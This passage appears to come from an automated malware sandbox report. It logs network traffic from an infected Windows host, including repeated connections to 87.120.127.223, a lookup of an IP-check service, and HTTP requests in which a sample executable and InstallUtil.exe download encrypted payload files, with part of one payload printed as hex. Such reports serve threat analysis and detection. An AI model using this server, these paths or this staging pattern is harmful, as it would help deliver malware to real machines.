Oct 15, 2024 19:22:40.780541897 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780555964 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780579090 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780592918 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.780596018 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780611992 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780630112 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780630112 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.780669928 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.780705929 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780720949 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780739069 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780752897 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.780755997 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780781031 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.780785084 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780814886 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780847073 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.780889034 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780904055 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780919075 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780934095 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780963898 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.780966997 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.781008005 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.781008005 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.781013966 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.781034946 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.781089067 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.781104088 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.781119108 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.781141043 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.781172037 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.781199932 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.781215906 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.781267881 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.781291962 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.781305075 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.781359911 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.822808981 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.822825909 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.822844028 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.822875977 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.839349985 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839375973 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839406967 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.839409113 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839454889 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.839487076 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839503050 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839524031 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839553118 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.839629889 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839646101 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839660883 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839678049 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839687109 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.839720011 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.839793921 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839818001 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839833021 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839837074 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.839848995 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839864016 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.839874029 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.839900970 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.893230915 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.893316031 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.893347979 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.893393993 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.893400908 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.893435955 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.893460989 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.893469095 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.893502951 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.893516064 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.893538952 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.893619061 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.893825054 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.893860102 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.893893003 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.893943071 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.895812988 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.895848036 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.895875931 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.895881891 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.895932913 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.895934105 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.895966053 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.896001101 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.896061897 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.896090984 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.896126032 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.896157980 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.896162987 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.896188974 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.896210909 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.896243095 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.896276951 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.896306038 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.896307945 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.896344900 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.896372080 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.896373034 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.896421909 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.896436930 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.899283886 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:40.904690027 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:40.904753923 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:42.154776096 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:42.154777050 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:42.159956932 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.160677910 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.489012957 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.489047050 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.489082098 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.489140987 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.489170074 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.489192963 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:42.489275932 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:42.489511967 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.489546061 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.489578009 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.489713907 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.489748001 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:42.489753008 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:42.490776062 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:45.722496986 CEST	49860	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:45.727912903 CEST	56001	49860	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:45.728015900 CEST	49860	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:45.728080988 CEST	49860	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:45.733009100 CEST	56001	49860	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:45.733069897 CEST	49860	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:45.737934113 CEST	56001	49860	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.336412907 CEST	56001	49860	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.336478949 CEST	49860	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.336822987 CEST	49860	56001	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.341789007 CEST	56001	49860	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.858233929 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.859894037 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.863739967 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.863876104 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.864901066 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.866324902 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.866909027 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.867314100 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.871933937 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.872237921 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.872268915 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.872332096 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.872395039 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.872452974 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.872453928 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.872487068 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.872500896 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.872525930 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.872526884 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.872574091 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.872575045 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.872622013 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.873176098 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.876281023 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.876310110 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.877468109 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.877552032 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.877590895 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.877614021 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.877654076 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.877657890 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.877682924 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.877707005 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.877712011 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.877734900 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.877754927 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.877762079 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.877795935 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.878747940 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.919461012 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.920598030 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:46.967237949 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:46.968206882 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.019556999 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:47.019797087 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.067573071 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:47.067995071 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.115370989 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:47.115461111 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.163568974 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:47.163687944 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.215507984 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:47.215693951 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.263415098 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:47.263772964 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.311132908 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:47.312283993 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.363066912 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:47.363167048 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.411185980 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:47.411345005 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.459305048 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:47.459484100 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.466978073 CEST	42128	49867	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:47.468523026 CEST	49867	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:47.468714952 CEST	49867	42128	192.168.2.5	87.120.127.223

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 15, 2024 19:22:16.946717024 CEST	192.168.2.5	1.1.1.1	0x620e	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 15, 2024 19:22:16.954611063 CEST	1.1.1.1	192.168.2.5	0x620e	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	87.120.127.223	80	6984	C:\Users\user\Desktop\6RE1Z857ae.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:01.576229095 CEST	89	OUT	GET /panel/uploads/Afocvkc.dat HTTP/1.1 Host: 87.120.127.223 Connection: Keep-Alive
Oct 15, 2024 19:22:02.569570065 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 15 Oct 2024 17:22:02 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 14 Oct 2024 04:30:20 GMT ETag: "ea808-624684b6c5b85" Accept-Ranges: bytes Content-Length: 960520 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: f0 5e 53 96 41 b2 94 cb 6d 19 3e f9 23 34 28 86 91 7f 31 50 12 e8 9a 28 32 49 a3 e9 4a a3 97 20 bf 3d 95 69 4d 7a 45 75 b8 d9 be 82 50 21 bc ab de 65 8b 12 20 c9 ef 0e 64 95 71 6d ea d3 cc d2 d1 34 f3 ac 79 bd 30 fe 1a eb 29 44 8f 4b 4a 4e 49 90 65 e0 a8 34 9b 14 b3 4e 79 98 ea cf 0c 0e 05 b4 7c 5a 07 22 05 98 c5 78 d7 a3 dc 9e 40 33 34 6d d5 c5 2b 91 f3 7b cc 09 96 d1 69 98 60 f5 fc ca 89 ec 12 17 20 f9 16 b1 1f 96 25 12 2e e1 3a 03 ea 53 63 f1 61 c7 51 8d 3c b6 34 41 f8 70 5f 4b a8 9a 2e d9 16 52 83 17 d7 8d 58 51 36 5b 6e f9 74 8d f6 a6 da 13 3a f9 0a 56 fc 72 db 1d 54 64 28 4f 5f 28 77 4f c9 95 66 f9 46 ac d9 ca e5 cd 29 d2 6e 36 98 1e 0d 2a 47 62 8c 42 54 32 c8 ad ea f9 84 ff 55 20 0d 6c 6c 21 8c 0c 45 36 ed 89 a7 5a 05 c8 83 23 6f 31 86 09 30 b5 c3 90 fb 7a ba 79 cf 89 fe 8c 6e ff 26 cc ec ec cd 25 0c 82 57 23 1f f6 a7 6a e6 a4 16 c3 00 a7 8e 21 e3 52 f7 2e 2d 7d 20 2c a6 f5 38 74 6b 71 fe 28 25 b9 1d 72 47 47 c9 02 20 99 fe a8 58 0b 3a ce 05 17 92 b9 43 38 02 84 7a a3 06 b8 d1 19 ec 8c d5 cd [TRUNCATED] Data Ascii: ^SAm>#4(1P(2IJ =iMzEuP!e dqm4y0)DKJNIe4Ny\|Z"x@34m+{i` %.:ScaQ<4Ap_K.RXQ6[nt:VrTd(O_(wOfF)n6GbBT2U ll!E6Z#o10zyn&%W#j!R.-} ,8tkq(%rGG X:C8z9_RAldb>X!h<$xH#?7vIWH\U\|<axy1a%'D6wecceQuvkCg5IzgD6 259KO,obwNQ==eCs=;v>=9oQhmz5P")7S@/?jqe&#<(Oj^pa0<\|KA[S6YJi[Pw6+LLuq\|Z'Em&m"$EmeSlk>a2qusn}N{cK>.J^mZ6hf?'iuW:Ey.H.0J!2x;cN!HXmPMU#uNp54WB3C5UA&k"z])Du[=$4 ZiK5n4D3x
Oct 15, 2024 19:22:02.569586039 CEST	1236	IN	Data Raw: 96 ea 44 65 05 c7 08 87 bc 1d c0 2b 94 af 92 f7 a0 52 76 24 0b 43 b6 48 68 bb 9d f6 54 1a 3d 12 52 bf 4f 1a 39 91 cd c5 ed 2f 81 03 1a 0b f2 76 f1 06 25 be cc ea 1a e9 78 a0 c7 4d d6 cf 7f c6 41 63 d0 55 56 26 33 6f 9e 39 57 dd 18 a2 2c 2a 93 36 Data Ascii: De+Rv$CHhT=RO9/v%xMAcUV&3o9W,*6 h@a^Jdj186E$r+Pf2su<UhD&maSR`nM0KcmmGnz9i`5c#yPCg>O;Jnpg3f@,6GD
Oct 15, 2024 19:22:02.569605112 CEST	1236	IN	Data Raw: c4 80 a5 b4 d1 a3 14 03 00 e9 bb 02 72 5a 55 44 8a 72 0d 5b 4a e7 b5 61 2e 55 63 75 14 f3 45 7c 31 94 53 09 8f dd ed 23 e5 3e ca 4c 41 0a ab 50 72 47 e7 80 e6 24 fc 72 a8 84 7e e5 a1 c9 90 79 0b 81 b7 0e 8f ed 61 59 2c a8 9c d4 14 da 35 ac 8e 5a Data Ascii: rZUDr[Ja.UcuE\|1S#>LAPrG$r~yaY,5Z{^$g#"F#;-g4^MG:BW(m[@N/YLrAuU4[0^.Uaz@+[@@=)h3:n8Unqr}B\)k6:(+gLI\|O
Oct 15, 2024 19:22:02.569624901 CEST	1236	IN	Data Raw: 01 a3 13 b4 c1 ac 55 f0 8b ef 68 00 d9 6c be 03 95 72 8e 88 48 5b 1d ab bd 2b e2 ce 69 0f 43 01 a3 97 37 d6 83 74 b8 ea cc fc e5 aa b8 45 74 71 00 f6 13 de b9 4a e1 c5 e7 0b 5b 92 b3 20 c4 14 0e 69 6e 86 d5 57 c5 a4 82 a7 b3 6a 56 cb e3 f9 c0 44 Data Ascii: UhlrH[+iC7tEtqJ[ inWjVDM.M3"x'7^o\|a?\|Z3_:saB^~}/H-~Dy%U"]yW']e Pa%KJOdPnX
Oct 15, 2024 19:22:02.569636106 CEST	1236	IN	Data Raw: ec e3 12 b9 01 d8 9d d4 29 1a 1c 7d 2f 5a 69 aa 3e a8 0b 23 56 de 7b 29 20 1e b2 0a 21 35 a2 e0 31 d4 13 18 ab e2 4e 1e f1 b0 bc 7b 3e a4 09 dd e8 e0 bb 80 e8 c5 84 77 01 97 53 cf 95 b4 be 9c 30 d9 db 91 be 71 8a e1 67 f8 ea e3 9d b9 e3 ce 61 16 Data Ascii: )}/Zi>#V{) !51N{>wS0qgaRFT#;Rn}ZkqlFt@g_RS(gD^Tjy25qba9}J%qM<3O~D-3A$^5=+Nle!?6\|
Oct 15, 2024 19:22:02.569717884 CEST	1236	IN	Data Raw: 72 ac e4 20 b7 56 88 5c fc 5f 1b 40 3e d1 cb 99 fc c8 03 4c 2f 30 3e 64 98 e5 f0 fd 4d 10 97 04 d7 26 89 1d 52 66 71 c4 0c d6 e7 7f 65 c4 bb 19 5a 68 9d ee b8 cb 98 ff 4d e5 d1 85 62 66 6b a2 ba 41 e6 20 75 f9 c7 1e 91 cd 70 90 e2 de 18 fc 3f ca Data Ascii: r V\_@>L/0>dM&RfqeZhMbfkA up?~EV;g,wn~d8cRJu\q d?{9HjrdE::%sZ,E\|bYbx7&LTap@0Pc$rLt,p9r2U
Oct 15, 2024 19:22:02.569729090 CEST	1236	IN	Data Raw: f9 0d 8c a1 dc 05 7e ab be 4c c5 a6 32 71 78 e1 f0 d1 06 bf 16 97 0a b2 ad d8 be 46 b9 d7 88 d0 93 4d bb 85 92 02 76 c7 33 bc ab 54 31 91 e7 ca e5 7e 4e 79 c0 75 0b c6 99 14 80 76 05 10 d1 d5 7c 22 c5 af 6d 47 3a 19 c8 14 2f 61 f8 98 99 da b7 54 Data Ascii: ~L2qxFMv3T1~Nyuv\|"mG:/aTn>f3P[Rv:fAaDA\|b^syMEBLHV0d0]qsOWu*:4Y1Uc
Oct 15, 2024 19:22:02.569761038 CEST	1236	IN	Data Raw: 8b c9 81 d7 2c 2f 82 49 26 ae 8a 3b 19 7c f6 f9 4c 42 7c 7d 2b 5f a9 6c f5 c7 8e f2 45 4d 78 72 e0 3f 11 b4 c4 4a 1d e8 dd 20 7d 03 0f af 75 6d 4c c7 cd d4 57 8b ad 35 34 2f 10 73 8a c1 bf 7f 07 7e 91 a8 23 71 73 ca 64 7c 90 a2 a2 0f cf 99 c2 07 Data Ascii: ,/I&;\|LB\|}+_lEMxr?J }umLW54/s~#qsd\|^=4c1Q/jC#c!dz%-Qt[4$J9NX\|=:hua~_?c)s=Y3>DRB_ThCtsF-\|;}Y>~Ht]!`
Oct 15, 2024 19:22:02.569936991 CEST	248	IN	Data Raw: 71 6b 7d 81 fa a7 b9 e7 5d 5b b5 2e d6 07 4e 66 3f 8a ef a2 a2 8d c6 ea 84 fe 57 d1 3e 4c 9e fc 96 7f 85 ad c8 7d 68 21 94 b9 3a 81 c3 cd 7e e2 56 5f 88 94 c6 49 0a cc f7 a7 1e 7c ba b1 fd f9 b5 39 66 d9 b9 0f 3e 25 4b a4 f0 7f 1d 31 36 0a 1c 24 Data Ascii: qk}][.Nf?W>L}h!:~V_I\|9f>%K16$_rv1`,A7dZXPTsUQD"{&!f!\5{h5_.Tj7%_"C{)K$=M?la*P}=J'97
Oct 15, 2024 19:22:02.569947004 CEST	1236	IN	Data Raw: b7 58 fa 5c 73 d3 11 6c 59 4c f2 cc a1 04 72 78 ac 62 fb 82 66 1d c5 2a 4a 8d 93 0b 4d fa 70 82 8b 56 21 56 e3 b3 2f dd a0 54 4b e4 9e 9d d9 2c b4 16 01 7f d2 00 fb 78 fd ed ef 73 18 4b 30 78 2e 7c b4 c3 34 ba 8c e9 ec f8 c0 58 13 5f fb 56 ef b1 Data Ascii: X\slYLrxbf*JMpV!V/TK,xsK0x.\|4X_V%f+bF>G&i4z+cC%cf)"L>^+C#sBqdi-+-2e8U.!9g\|r~so-Ys:PV<-E:,>
Oct 15, 2024 19:22:02.574542046 CEST	1236	IN	Data Raw: 31 29 29 84 c1 54 58 42 59 9a 68 02 ec 6c 44 10 b5 63 64 a8 9f a0 05 41 15 f6 49 bc 74 0f 25 98 d0 1c 06 6b c2 0c 54 ad 5a c2 a6 aa 91 6a 88 34 bc ab 51 3a 3d ee 57 8d 3e df c9 db 28 3f b9 1f 31 04 2c 1b 72 55 c9 67 8e 55 48 5d e2 2a 86 7c 25 4b Data Ascii: 1))TXBYhlDcdAIt%kTZj4Q:=W>(?1,rUgUH]*\|%K<t((JJ~XYqW:4\|eOCNOO=~6<y%#V\D;4[T^-)r#{-v&bmVDX!DxMZ0(32TepA!4zdJQaPp^0Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	87.120.127.223	80	6776	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 19:22:09.721987963 CEST	90	OUT	GET /panel/uploads/Fdzqloat.dat HTTP/1.1 Host: 87.120.127.223 Connection: Keep-Alive
